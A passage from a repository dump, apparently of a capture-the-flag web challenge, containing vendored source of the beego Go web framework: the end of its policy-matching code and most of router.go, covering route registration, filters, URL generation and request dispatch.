false\n\t// Find policy for current method\n\tt, ok := p.policies[httpMethod]\n\t// If not found - find policy for whole controller\n\tif !ok {\n\t\tt, ok = p.policies[\"*\"]\n\t\tisWildcard = true\n\t}\n\tif ok {\n\t\trunObjects := t.Match(urlPath, cont)\n\t\tif r, ok := runObjects.([]PolicyFunc); ok {\n\t\t\treturn r\n\t\t} else if !isWildcard {\n\t\t\t// If no policies found and we checked not for \"*\" method - try to find it\n\t\t\tt, ok = p.policies[\"*\"]\n\t\t\tif ok {\n\t\t\t\trunObjects = t.Match(urlPath, cont)\n\t\t\t\tif r, ok = runObjects.([]PolicyFunc); ok {\n\t\t\t\t\treturn r\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (p *ControllerRegister) addToPolicy(method, pattern string, r ...PolicyFunc) {\n\tmethod = strings.ToUpper(method)\n\tp.enablePolicy = true\n\tif !BConfig.RouterCaseSensitive {\n\t\tpattern = strings.ToLower(pattern)\n\t}\n\tif t, ok := p.policies[method]; ok {\n\t\tt.AddRouter(pattern, r)\n\t} else {\n\t\tt := NewTree()\n\t\tt.AddRouter(pattern, r)\n\t\tp.policies[method] = t\n\t}\n}\n\n// Policy Register new policy in beego\nfunc Policy(pattern, method string, policy ...PolicyFunc) {\n\tBeeApp.Handlers.addToPolicy(method, pattern, policy...)\n}\n\n// Find policies and execute if were found\nfunc (p *ControllerRegister) execPolicy(cont *context.Context, urlPath string) (started bool) {\n\tif !p.enablePolicy {\n\t\treturn false\n\t}\n\t// Find Policy for method\n\tpolicyList := p.FindPolicy(cont)\n\tif len(policyList) > 0 {\n\t\t// Run policies\n\t\tfor _, runPolicy := range policyList {\n\t\t\trunPolicy(cont)\n\t\t\tif cont.ResponseWriter.Started {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t\treturn false\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/router.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"reflect\"\n\t\"runtime\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\tbeecontext \"github.com/astaxie/beego/context\"\n\t\"github.com/astaxie/beego/context/param\"\n\t\"github.com/astaxie/beego/logs\"\n\t\"github.com/astaxie/beego/toolbox\"\n\t\"github.com/astaxie/beego/utils\"\n)\n\n// default filter execution points\nconst (\n\tBeforeStatic = iota\n\tBeforeRouter\n\tBeforeExec\n\tAfterExec\n\tFinishRouter\n)\n\nconst (\n\trouterTypeBeego = iota\n\trouterTypeRESTFul\n\trouterTypeHandler\n)\n\nvar (\n\t// HTTPMETHOD list the supported http methods.\n\tHTTPMETHOD = map[string]bool{\n\t\t\"GET\":       true,\n\t\t\"POST\":      true,\n\t\t\"PUT\":       true,\n\t\t\"DELETE\":    true,\n\t\t\"PATCH\":     true,\n\t\t\"OPTIONS\":   true,\n\t\t\"HEAD\":      true,\n\t\t\"TRACE\":     true,\n\t\t\"CONNECT\":   true,\n\t\t\"MKCOL\":     true,\n\t\t\"COPY\":      true,\n\t\t\"MOVE\":      true,\n\t\t\"PROPFIND\":  true,\n\t\t\"PROPPATCH\": true,\n\t\t\"LOCK\":      true,\n\t\t\"UNLOCK\":    true,\n\t}\n\t// these beego.Controller's methods shouldn't reflect to AutoRouter\n\texceptMethod = []string{\"Init\", \"Prepare\", \"Finish\", \"Render\", \"RenderString\",\n\t\t\"RenderBytes\", \"Redirect\", \"Abort\", \"StopRun\", \"UrlFor\", \"ServeJSON\", \"ServeJSONP\",\n\t\t\"ServeXML\", \"Input\", \"ParseForm\", \"GetString\", \"GetStrings\", \"GetInt\", \"GetBool\",\n\t\t\"GetFloat\", \"GetFile\", \"SaveToFile\", \"StartSession\", \"SetSession\", \"GetSession\",\n\t\t\"DelSession\", \"SessionRegenerateID\", \"DestroySession\", \"IsAjax\", \"GetSecureCookie\",\n\t\t\"SetSecureCookie\", \"XsrfToken\", \"CheckXsrfCookie\", \"XsrfFormHtml\",\n\t\t\"GetControllerAndAction\", \"ServeFormatted\"}\n\n\turlPlaceholder = \"{{placeholder}}\"\n\t// DefaultAccessLogFilter will skip the accesslog if return true\n\tDefaultAccessLogFilter FilterHandler = &logFilter{}\n)\n\n// FilterHandler is an interface for\ntype FilterHandler interface {\n\tFilter(*beecontext.Context) bool\n}\n\n// default log filter static file will not show\ntype logFilter struct {\n}\n\nfunc (l *logFilter) Filter(ctx *beecontext.Context) bool {\n\trequestPath := path.Clean(ctx.Request.URL.Path)\n\tif requestPath == \"/favicon.ico\" || requestPath == \"/robots.txt\" {\n\t\treturn true\n\t}\n\tfor prefix := range BConfig.WebConfig.StaticDir {\n\t\tif strings.HasPrefix(requestPath, prefix) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// ExceptMethodAppend to append a slice's value into \"exceptMethod\", for controller's methods shouldn't reflect to AutoRouter\nfunc ExceptMethodAppend(action string) {\n\texceptMethod = append(exceptMethod, action)\n}\n\n// ControllerInfo holds information about the controller.\ntype ControllerInfo struct {\n\tpattern        string\n\tcontrollerType reflect.Type\n\tmethods        map[string]string\n\thandler        http.Handler\n\trunFunction    FilterFunc\n\trouterType     int\n\tinitialize     func() ControllerInterface\n\tmethodParams   []*param.MethodParam\n}\n\n// ControllerRegister containers registered router rules, controller handlers and filters.\ntype ControllerRegister struct {\n\trouters      map[string]*Tree\n\tenablePolicy bool\n\tpolicies     map[string]*Tree\n\tenableFilter bool\n\tfilters      [FinishRouter + 1][]*FilterRouter\n\tpool         sync.Pool\n}\n\n// NewControllerRegister returns a new ControllerRegister.\nfunc NewControllerRegister() *ControllerRegister {\n\tcr := &ControllerRegister{\n\t\trouters:  make(map[string]*Tree),\n\t\tpolicies: make(map[string]*Tree),\n\t}\n\tcr.pool.New = func() interface{} {\n\t\treturn beecontext.NewContext()\n\t}\n\treturn cr\n}\n\n// Add controller handler and pattern rules to ControllerRegister.\n// usage:\n//\tdefault methods is the same name as method\n//\tAdd(\"/user\",&UserController{})\n//\tAdd(\"/api/list\",&RestController{},\"*:ListFood\")\n//\tAdd(\"/api/create\",&RestController{},\"post:CreateFood\")\n//\tAdd(\"/api/update\",&RestController{},\"put:UpdateFood\")\n//\tAdd(\"/api/delete\",&RestController{},\"delete:DeleteFood\")\n//\tAdd(\"/api\",&RestController{},\"get,post:ApiFunc\"\n//\tAdd(\"/simple\",&SimpleController{},\"get:GetFunc;post:PostFunc\")\nfunc (p *ControllerRegister) Add(pattern string, c ControllerInterface, mappingMethods ...string) {\n\tp.addWithMethodParams(pattern, c, nil, mappingMethods...)\n}\n\nfunc (p *ControllerRegister) addWithMethodParams(pattern string, c ControllerInterface, methodParams []*param.MethodParam, mappingMethods ...string) {\n\treflectVal := reflect.ValueOf(c)\n\tt := reflect.Indirect(reflectVal).Type()\n\tmethods := make(map[string]string)\n\tif len(mappingMethods) > 0 {\n\t\tsemi := strings.Split(mappingMethods[0], \";\")\n\t\tfor _, v := range semi {\n\t\t\tcolon := strings.Split(v, \":\")\n\t\t\tif len(colon) != 2 {\n\t\t\t\tpanic(\"method mapping format is invalid\")\n\t\t\t}\n\t\t\tcomma := strings.Split(colon[0], \",\")\n\t\t\tfor _, m := range comma {\n\t\t\t\tif m == \"*\" || HTTPMETHOD[strings.ToUpper(m)] {\n\t\t\t\t\tif val := reflectVal.MethodByName(colon[1]); val.IsValid() {\n\t\t\t\t\t\tmethods[strings.ToUpper(m)] = colon[1]\n\t\t\t\t\t} else {\n\t\t\t\t\t\tpanic(\"'\" + colon[1] + \"' method doesn't exist in the controller \" + t.Name())\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tpanic(v + \" is an invalid method mapping. Method doesn't exist \" + m)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\troute := &ControllerInfo{}\n\troute.pattern = pattern\n\troute.methods = methods\n\troute.routerType = routerTypeBeego\n\troute.controllerType = t\n\troute.initialize = func() ControllerInterface {\n\t\tvc := reflect.New(route.controllerType)\n\t\texecController, ok := vc.Interface().(ControllerInterface)\n\t\tif !ok {\n\t\t\tpanic(\"controller is not ControllerInterface\")\n\t\t}\n\n\t\telemVal := reflect.ValueOf(c).Elem()\n\t\telemType := reflect.TypeOf(c).Elem()\n\t\texecElem := reflect.ValueOf(execController).Elem()\n\n\t\tnumOfFields := elemVal.NumField()\n\t\tfor i := 0; i < numOfFields; i++ {\n\t\t\tfieldType := elemType.Field(i)\n\n\t\t\tif execElem.FieldByName(fieldType.Name).CanSet() {\n\t\t\t\tfieldVal := elemVal.Field(i)\n\t\t\t\texecElem.FieldByName(fieldType.Name).Set(fieldVal)\n\t\t\t}\n\t\t}\n\n\t\treturn execController\n\t}\n\n\troute.methodParams = methodParams\n\tif len(methods) == 0 {\n\t\tfor m := range HTTPMETHOD {\n\t\t\tp.addToRouter(m, pattern, route)\n\t\t}\n\t} else {\n\t\tfor k := range methods {\n\t\t\tif k == \"*\" {\n\t\t\t\tfor m := range HTTPMETHOD {\n\t\t\t\t\tp.addToRouter(m, pattern, route)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tp.addToRouter(k, pattern, route)\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc (p *ControllerRegister) addToRouter(method, pattern string, r *ControllerInfo) {\n\tif !BConfig.RouterCaseSensitive {\n\t\tpattern = strings.ToLower(pattern)\n\t}\n\tif t, ok := p.routers[method]; ok {\n\t\tt.AddRouter(pattern, r)\n\t} else {\n\t\tt := NewTree()\n\t\tt.AddRouter(pattern, r)\n\t\tp.routers[method] = t\n\t}\n}\n\n// Include only when the Runmode is dev will generate router file in the router/auto.go from the controller\n// Include(&BankAccount{}, &OrderController{},&RefundController{},&ReceiptController{})\nfunc (p *ControllerRegister) Include(cList ...ControllerInterface) {\n\tif BConfig.RunMode == DEV {\n\t\tskip := make(map[string]bool, 10)\n\t\tfor _, c := range cList {\n\t\t\treflectVal := reflect.ValueOf(c)\n\t\t\tt := reflect.Indirect(reflectVal).Type()\n\t\t\twgopath := utils.GetGOPATHs()\n\t\t\tif len(wgopath) == 0 {\n\t\t\t\tpanic(\"you are in dev mode. So please set gopath\")\n\t\t\t}\n\t\t\tpkgpath := \"\"\n\t\t\tfor _, wg := range wgopath {\n\t\t\t\twg, _ = filepath.EvalSymlinks(filepath.Join(wg, \"src\", t.PkgPath()))\n\t\t\t\tif utils.FileExists(wg) {\n\t\t\t\t\tpkgpath = wg\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif pkgpath != \"\" {\n\t\t\t\tif _, ok := skip[pkgpath]; !ok {\n\t\t\t\t\tskip[pkgpath] = true\n\t\t\t\t\tparserPkg(pkgpath, t.PkgPath())\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tfor _, c := range cList {\n\t\treflectVal := reflect.ValueOf(c)\n\t\tt := reflect.Indirect(reflectVal).Type()\n\t\tkey := t.PkgPath() + \":\" + t.Name()\n\t\tif comm, ok := GlobalControllerRouter[key]; ok {\n\t\t\tfor _, a := range comm {\n\t\t\t\tp.addWithMethodParams(a.Router, c, a.MethodParams, strings.Join(a.AllowHTTPMethods, \",\")+\":\"+a.Method)\n\t\t\t}\n\t\t}\n\t}\n}\n\n// Get add get method\n// usage:\n//    Get(\"/\", func(ctx *context.Context){\n//          ctx.Output.Body(\"hello world\")\n//    })\nfunc (p *ControllerRegister) Get(pattern string, f FilterFunc) {\n\tp.AddMethod(\"get\", pattern, f)\n}\n\n// Post add post method\n// usage:\n//    Post(\"/api\", func(ctx *context.Context){\n//          ctx.Output.Body(\"hello world\")\n//    })\nfunc (p *ControllerRegister) Post(pattern string, f FilterFunc) {\n\tp.AddMethod(\"post\", pattern, f)\n}\n\n// Put add put method\n// usage:\n//    Put(\"/api/:id\", func(ctx *context.Context){\n//          ctx.Output.Body(\"hello world\")\n//    })\nfunc (p *ControllerRegister) Put(pattern string, f FilterFunc) {\n\tp.AddMethod(\"put\", pattern, f)\n}\n\n// Delete add delete method\n// usage:\n//    Delete(\"/api/:id\", func(ctx *context.Context){\n//          ctx.Output.Body(\"hello world\")\n//    })\nfunc (p *ControllerRegister) Delete(pattern string, f FilterFunc) {\n\tp.AddMethod(\"delete\", pattern, f)\n}\n\n// Head add head method\n// usage:\n//    Head(\"/api/:id\", func(ctx *context.Context){\n//          ctx.Output.Body(\"hello world\")\n//    })\nfunc (p *ControllerRegister) Head(pattern string, f FilterFunc) {\n\tp.AddMethod(\"head\", pattern, f)\n}\n\n// Patch add patch method\n// usage:\n//    Patch(\"/api/:id\", func(ctx *context.Context){\n//          ctx.Output.Body(\"hello world\")\n//    })\nfunc (p *ControllerRegister) Patch(pattern string, f FilterFunc) {\n\tp.AddMethod(\"patch\", pattern, f)\n}\n\n// Options add options method\n// usage:\n//    Options(\"/api/:id\", func(ctx *context.Context){\n//          ctx.Output.Body(\"hello world\")\n//    })\nfunc (p *ControllerRegister) Options(pattern string, f FilterFunc) {\n\tp.AddMethod(\"options\", pattern, f)\n}\n\n// Any add all method\n// usage:\n//    Any(\"/api/:id\", func(ctx *context.Context){\n//          ctx.Output.Body(\"hello world\")\n//    })\nfunc (p *ControllerRegister) Any(pattern string, f FilterFunc) {\n\tp.AddMethod(\"*\", pattern, f)\n}\n\n// AddMethod add http method router\n// usage:\n//    AddMethod(\"get\",\"/api/:id\", func(ctx *context.Context){\n//          ctx.Output.Body(\"hello world\")\n//    })\nfunc (p *ControllerRegister) AddMethod(method, pattern string, f FilterFunc) {\n\tmethod = strings.ToUpper(method)\n\tif method != \"*\" && !HTTPMETHOD[method] {\n\t\tpanic(\"not support http method: \" + method)\n\t}\n\troute := &ControllerInfo{}\n\troute.pattern = pattern\n\troute.routerType = routerTypeRESTFul\n\troute.runFunction = f\n\tmethods := make(map[string]string)\n\tif method == \"*\" {\n\t\tfor val := range HTTPMETHOD {\n\t\t\tmethods[val] = val\n\t\t}\n\t} else {\n\t\tmethods[method] = method\n\t}\n\troute.methods = methods\n\tfor k := range methods {\n\t\tif k == \"*\" {\n\t\t\tfor m := range HTTPMETHOD {\n\t\t\t\tp.addToRouter(m, pattern, route)\n\t\t\t}\n\t\t} else {\n\t\t\tp.addToRouter(k, pattern, route)\n\t\t}\n\t}\n}\n\n// Handler add user defined Handler\nfunc (p *ControllerRegister) Handler(pattern string, h http.Handler, options ...interface{}) {\n\troute := &ControllerInfo{}\n\troute.pattern = pattern\n\troute.routerType = routerTypeHandler\n\troute.handler = h\n\tif len(options) > 0 {\n\t\tif _, ok := options[0].(bool); ok {\n\t\t\tpattern = path.Join(pattern, \"?:all(.*)\")\n\t\t}\n\t}\n\tfor m := range HTTPMETHOD {\n\t\tp.addToRouter(m, pattern, route)\n\t}\n}\n\n// AddAuto router to ControllerRegister.\n// example beego.AddAuto(&MainContorlller{}),\n// MainController has method List and Page.\n// visit the url /main/list to execute List function\n// /main/page to execute Page function.\nfunc (p *ControllerRegister) AddAuto(c ControllerInterface) {\n\tp.AddAutoPrefix(\"/\", c)\n}\n\n// AddAutoPrefix Add auto router to ControllerRegister with prefix.\n// example beego.AddAutoPrefix(\"/admin\",&MainContorlller{}),\n// MainController has method List and Page.\n// visit the url /admin/main/list to execute List function\n// /admin/main/page to execute Page function.\nfunc (p *ControllerRegister) AddAutoPrefix(prefix string, c ControllerInterface) {\n\treflectVal := reflect.ValueOf(c)\n\trt := reflectVal.Type()\n\tct := reflect.Indirect(reflectVal).Type()\n\tcontrollerName := strings.TrimSuffix(ct.Name(), \"Controller\")\n\tfor i := 0; i < rt.NumMethod(); i++ {\n\t\tif !utils.InSlice(rt.Method(i).Name, exceptMethod) {\n\t\t\troute := &ControllerInfo{}\n\t\t\troute.routerType = routerTypeBeego\n\t\t\troute.methods = map[string]string{\"*\": rt.Method(i).Name}\n\t\t\troute.controllerType = ct\n\t\t\tpattern := path.Join(prefix, strings.ToLower(controllerName), strings.ToLower(rt.Method(i).Name), \"*\")\n\t\t\tpatternInit := path.Join(prefix, controllerName, rt.Method(i).Name, \"*\")\n\t\t\tpatternFix := path.Join(prefix, strings.ToLower(controllerName), strings.ToLower(rt.Method(i).Name))\n\t\t\tpatternFixInit := path.Join(prefix, controllerName, rt.Method(i).Name)\n\t\t\troute.pattern = pattern\n\t\t\tfor m := range HTTPMETHOD {\n\t\t\t\tp.addToRouter(m, pattern, route)\n\t\t\t\tp.addToRouter(m, patternInit, route)\n\t\t\t\tp.addToRouter(m, patternFix, route)\n\t\t\t\tp.addToRouter(m, patternFixInit, route)\n\t\t\t}\n\t\t}\n\t}\n}\n\n// InsertFilter Add a FilterFunc with pattern rule and action constant.\n// params is for:\n//   1. setting the returnOnOutput value (false allows multiple filters to execute)\n//   2. determining whether or not params need to be reset.\nfunc (p *ControllerRegister) InsertFilter(pattern string, pos int, filter FilterFunc, params ...bool) error {\n\tmr := &FilterRouter{\n\t\ttree:           NewTree(),\n\t\tpattern:        pattern,\n\t\tfilterFunc:     filter,\n\t\treturnOnOutput: true,\n\t}\n\tif !BConfig.RouterCaseSensitive {\n\t\tmr.pattern = strings.ToLower(pattern)\n\t}\n\n\tparamsLen := len(params)\n\tif paramsLen > 0 {\n\t\tmr.returnOnOutput = params[0]\n\t}\n\tif paramsLen > 1 {\n\t\tmr.resetParams = params[1]\n\t}\n\tmr.tree.AddRouter(pattern, true)\n\treturn p.insertFilterRouter(pos, mr)\n}\n\n// add Filter into\nfunc (p *ControllerRegister) insertFilterRouter(pos int, mr *FilterRouter) (err error) {\n\tif pos < BeforeStatic || pos > FinishRouter {\n\t\terr = fmt.Errorf(\"can not find your filter position\")\n\t\treturn\n\t}\n\tp.enableFilter = true\n\tp.filters[pos] = append(p.filters[pos], mr)\n\treturn nil\n}\n\n// URLFor does another controller handler in this request function.\n// it can access any controller method.\nfunc (p *ControllerRegister) URLFor(endpoint string, values ...interface{}) string {\n\tpaths := strings.Split(endpoint, \".\")\n\tif len(paths) <= 1 {\n\t\tlogs.Warn(\"urlfor endpoint must like path.controller.method\")\n\t\treturn \"\"\n\t}\n\tif len(values)%2 != 0 {\n\t\tlogs.Warn(\"urlfor params must key-value pair\")\n\t\treturn \"\"\n\t}\n\tparams := make(map[string]string)\n\tif len(values) > 0 {\n\t\tkey := \"\"\n\t\tfor k, v := range values {\n\t\t\tif k%2 == 0 {\n\t\t\t\tkey = fmt.Sprint(v)\n\t\t\t} else {\n\t\t\t\tparams[key] = fmt.Sprint(v)\n\t\t\t}\n\t\t}\n\t}\n\tcontrollName := strings.Join(paths[:len(paths)-1], \"/\")\n\tmethodName := paths[len(paths)-1]\n\tfor m, t := range p.routers {\n\t\tok, url := p.geturl(t, \"/\", controllName, methodName, params, m)\n\t\tif ok {\n\t\t\treturn url\n\t\t}\n\t}\n\treturn \"\"\n}\n\nfunc (p *ControllerRegister) geturl(t *Tree, url, controllName, methodName string, params map[string]string, httpMethod string) (bool, string) {\n\tfor _, subtree := range t.fixrouters {\n\t\tu := path.Join(url, subtree.prefix)\n\t\tok, u := p.geturl(subtree, u, controllName, methodName, params, httpMethod)\n\t\tif ok {\n\t\t\treturn ok, u\n\t\t}\n\t}\n\tif t.wildcard != nil {\n\t\tu := path.Join(url, urlPlaceholder)\n\t\tok, u := p.geturl(t.wildcard, u, controllName, methodName, params, httpMethod)\n\t\tif ok {\n\t\t\treturn ok, u\n\t\t}\n\t}\n\tfor _, l := range t.leaves {\n\t\tif c, ok := l.runObject.(*ControllerInfo); ok {\n\t\t\tif c.routerType == routerTypeBeego &&\n\t\t\t\tstrings.HasSuffix(path.Join(c.controllerType.PkgPath(), c.controllerType.Name()), controllName) {\n\t\t\t\tfind := false\n\t\t\t\tif HTTPMETHOD[strings.ToUpper(methodName)] {\n\t\t\t\t\tif len(c.methods) == 0 {\n\t\t\t\t\t\tfind = true\n\t\t\t\t\t} else if m, ok := c.methods[strings.ToUpper(methodName)]; ok && m == strings.ToUpper(methodName) {\n\t\t\t\t\t\tfind = true\n\t\t\t\t\t} else if m, ok = c.methods[\"*\"]; ok && m == methodName {\n\t\t\t\t\t\tfind = true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !find {\n\t\t\t\t\tfor m, md := range c.methods {\n\t\t\t\t\t\tif (m == \"*\" || m == httpMethod) && md == methodName {\n\t\t\t\t\t\t\tfind = true\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif find {\n\t\t\t\t\tif l.regexps == nil {\n\t\t\t\t\t\tif len(l.wildcards) == 0 {\n\t\t\t\t\t\t\treturn true, strings.Replace(url, \"/\"+urlPlaceholder, \"\", 1) + toURL(params)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif len(l.wildcards) == 1 {\n\t\t\t\t\t\t\tif v, ok := params[l.wildcards[0]]; ok {\n\t\t\t\t\t\t\t\tdelete(params, l.wildcards[0])\n\t\t\t\t\t\t\t\treturn true, strings.Replace(url, urlPlaceholder, v, 1) + toURL(params)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn false, \"\"\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif len(l.wildcards) == 3 && l.wildcards[0] == \".\" {\n\t\t\t\t\t\t\tif p, ok := params[\":path\"]; ok {\n\t\t\t\t\t\t\t\tif e, isok := params[\":ext\"]; isok {\n\t\t\t\t\t\t\t\t\tdelete(params, \":path\")\n\t\t\t\t\t\t\t\t\tdelete(params, \":ext\")\n\t\t\t\t\t\t\t\t\treturn true, strings.Replace(url, urlPlaceholder, p+\".\"+e, -1) + toURL(params)\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcanskip := false\n\t\t\t\t\t\tfor _, v := range l.wildcards {\n\t\t\t\t\t\t\tif v == \":\" {\n\t\t\t\t\t\t\t\tcanskip = true\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif u, ok := params[v]; ok {\n\t\t\t\t\t\t\t\tdelete(params, v)\n\t\t\t\t\t\t\t\turl = strings.Replace(url, urlPlaceholder, u, 1)\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tif canskip {\n\t\t\t\t\t\t\t\t\tcanskip = false\n\t\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\treturn false, \"\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn true, url + toURL(params)\n\t\t\t\t\t}\n\t\t\t\t\tvar i int\n\t\t\t\t\tvar startreg bool\n\t\t\t\t\tregurl := \"\"\n\t\t\t\t\tfor _, v := range strings.Trim(l.regexps.String(), \"^$\") {\n\t\t\t\t\t\tif v == '(' {\n\t\t\t\t\t\t\tstartreg = true\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t} else if v == ')' {\n\t\t\t\t\t\t\tstartreg = false\n\t\t\t\t\t\t\tif v, ok := params[l.wildcards[i]]; ok {\n\t\t\t\t\t\t\t\tdelete(params, l.wildcards[i])\n\t\t\t\t\t\t\t\tregurl = regurl + v\n\t\t\t\t\t\t\t\ti++\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else if !startreg {\n\t\t\t\t\t\t\tregurl = string(append([]rune(regurl), v))\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif l.regexps.MatchString(regurl) {\n\t\t\t\t\t\tps := strings.Split(regurl, \"/\")\n\t\t\t\t\t\tfor _, p := range ps {\n\t\t\t\t\t\t\turl = strings.Replace(url, urlPlaceholder, p, 1)\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn true, url + toURL(params)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn false, \"\"\n}\n\nfunc (p *ControllerRegister) execFilter(context *beecontext.Context, urlPath string, pos int) (started bool) {\n\tvar preFilterParams map[string]string\n\tfor _, filterR := range p.filters[pos] {\n\t\tif filterR.returnOnOutput && context.ResponseWriter.Started {\n\t\t\treturn true\n\t\t}\n\t\tif filterR.resetParams {\n\t\t\tpreFilterParams = context.Input.Params()\n\t\t}\n\t\tif ok := filterR.ValidRouter(urlPath, context); ok {\n\t\t\tfilterR.filterFunc(context)\n\t\t\tif filterR.resetParams {\n\t\t\t\tcontext.Input.ResetParams()\n\t\t\t\tfor k, v := range preFilterParams {\n\t\t\t\t\tcontext.Input.SetParam(k, v)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif filterR.returnOnOutput && context.ResponseWriter.Started {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// Implement http.Handler interface.\nfunc (p *ControllerRegister) ServeHTTP(rw http.ResponseWriter, r *http.Request) {\n\tstartTime := time.Now()\n\tvar (\n\t\trunRouter    reflect.Type\n\t\tfindRouter   bool\n\t\trunMethod    string\n\t\tmethodParams []*param.MethodParam\n\t\trouterInfo   *ControllerInfo\n\t\tisRunnable   bool\n\t)\n\tcontext := p.pool.Get().(*beecontext.Context)\n\tcontext.Reset(rw, r)\n\n\tdefer p.pool.Put(context)\n\tif BConfig.RecoverFunc != nil {\n\t\tdefer BConfig.RecoverFunc(context)\n\t}\n\n\tcontext.Output.EnableGzip = BConfig.EnableGzip\n\n\tif BConfig.RunMode == DEV {\n\t\tcontext.Output.Header(\"Server\", BConfig.ServerName)\n\t}\n\n\tvar urlPath = r.URL.Path\n\n\tif !BConfig.RouterCaseSensitive {\n\t\turlPath = strings.ToLower(urlPath)\n\t}\n\n\t// filter wrong http method\n\tif !HTTPMETHOD[r.Method] {\n\t\thttp.Error(rw, \"Method Not Allowed\", 405)\n\t\tgoto Admin\n\t}\n\n\t// filter for static file\n\tif len(p.filters[BeforeStatic]) > 0 && p.execFilter(context, urlPath, BeforeStatic) {\n\t\tgoto Admin\n\t}\n\n\tserverStaticRouter(context)\n\n\tif context.ResponseWriter.Started {\n\t\tfindRouter = true\n\t\tgoto Admin\n\t}\n\n\tif r.Method != http.MethodGet && r.Method != http.MethodHead {\n\t\tif BConfig.CopyRequestBody && !context.Input.IsUpload() {\n\t\t\tcontext.Input.CopyBody(BConfig.MaxMemory)\n\t\t}\n\t\tcontext.Input.ParseFormOrMulitForm(BConfig.MaxMemory)\n\t}\n\n\t// session init\n\tif BConfig.WebConfig.Session.SessionOn {\n\t\tvar err error\n\t\tcontext.Input.CruSession, err = GlobalSessions.SessionStart(rw, r)\n\t\tif err != nil {\n\t\t\tlogs.Error(err)\n\t\t\texception(\"503\", context)\n\t\t\tgoto Admin\n\t\t}\n\t\tdefer func() {\n\t\t\tif context.Input.CruSession != nil {\n\t\t\t\tcontext.Input.CruSession.SessionRelease(rw)\n\t\t\t}\n\t\t}()\n\t}\n\tif len(p.filters[BeforeRouter]) > 0 && p.execFilter(context, urlPath, BeforeRouter) {\n\t\tgoto Admin\n\t}\n\t// User can define RunController and RunMethod in filter\n\tif context.Input.RunController != nil && context.Input.RunMethod != \"\" {\n\t\tfindRouter = true\n\t\trunMethod = context.Input.RunMethod\n\t\trunRouter = context.Input.RunController\n\t} else {\n\t\trouterInfo, findRouter = p.FindRouter(context)\n\t}\n\n\t//if no matches to url, throw a not found exception\n\tif !findRouter {\n\t\texception(\"404\", context)\n\t\tgoto Admin\n\t}\n\tif splat := context.Input.Param(\":splat\"); splat != \"\" {\n\t\tfor k, v := range strings.Split(splat, \"/\") {\n\t\t\tcontext.Input.SetParam(strconv.Itoa(k), v)\n\t\t}\n\t}\n\n\t//execute middleware filters\n\tif len(p.filters[BeforeExec]) > 0 && p.execFilter(context, urlPath, BeforeExec) {\n\t\tgoto Admin\n\t}\n\n\t//check policies\n\tif p.execPolicy(context, urlPath) {\n\t\tgoto Admin\n\t}\n\n\tif routerInfo != nil {\n\t\t//store router pattern into context\n\t\tcontext.Input.SetData(\"RouterPattern\", routerInfo.pattern)\n\t\tif routerInfo.routerType == routerTypeRESTFul {\n\t\t\tif _, ok := routerInfo.methods[r.Method]; ok {\n\t\t\t\tisRunnable = true\n\t\t\t\trouterInfo.runFunction(context)\n\t\t\t} else {\n\t\t\t\texception(\"405\", context)\n\t\t\t\tgoto Admin\n\t\t\t}\n\t\t} else if routerInfo.routerType == routerTypeHandler {\n\t\t\tisRunnable = true\n\t\t\trouterInfo.handler.ServeHTTP(rw, r)\n\t\t} else {\n\t\t\trunRouter = routerInfo.controllerType\n\t\t\tmethodParams = routerInfo.methodParams\n\t\t\tmethod := r.Method\n\t\t\tif r.Method == http.MethodPost && context.Input.Query(\"_method\") == http.MethodPost {\n\t\t\t\tmethod = http.MethodPut\n\t\t\t}\n\t\t\tif r.Method == http.MethodPost && context.Input.Query(\"_method\") == http.MethodDelete {\n\t\t\t\tmethod = http.MethodDelete\n\t\t\t}\n\t\t\tif m, ok := routerInfo.methods[method]; ok {\n\t\t\t\trunMethod = m\n\t\t\t} else if m, ok = routerInfo.methods[\"*\"]; ok {\n\t\t\t\trunMethod = m\n\t\t\t} else 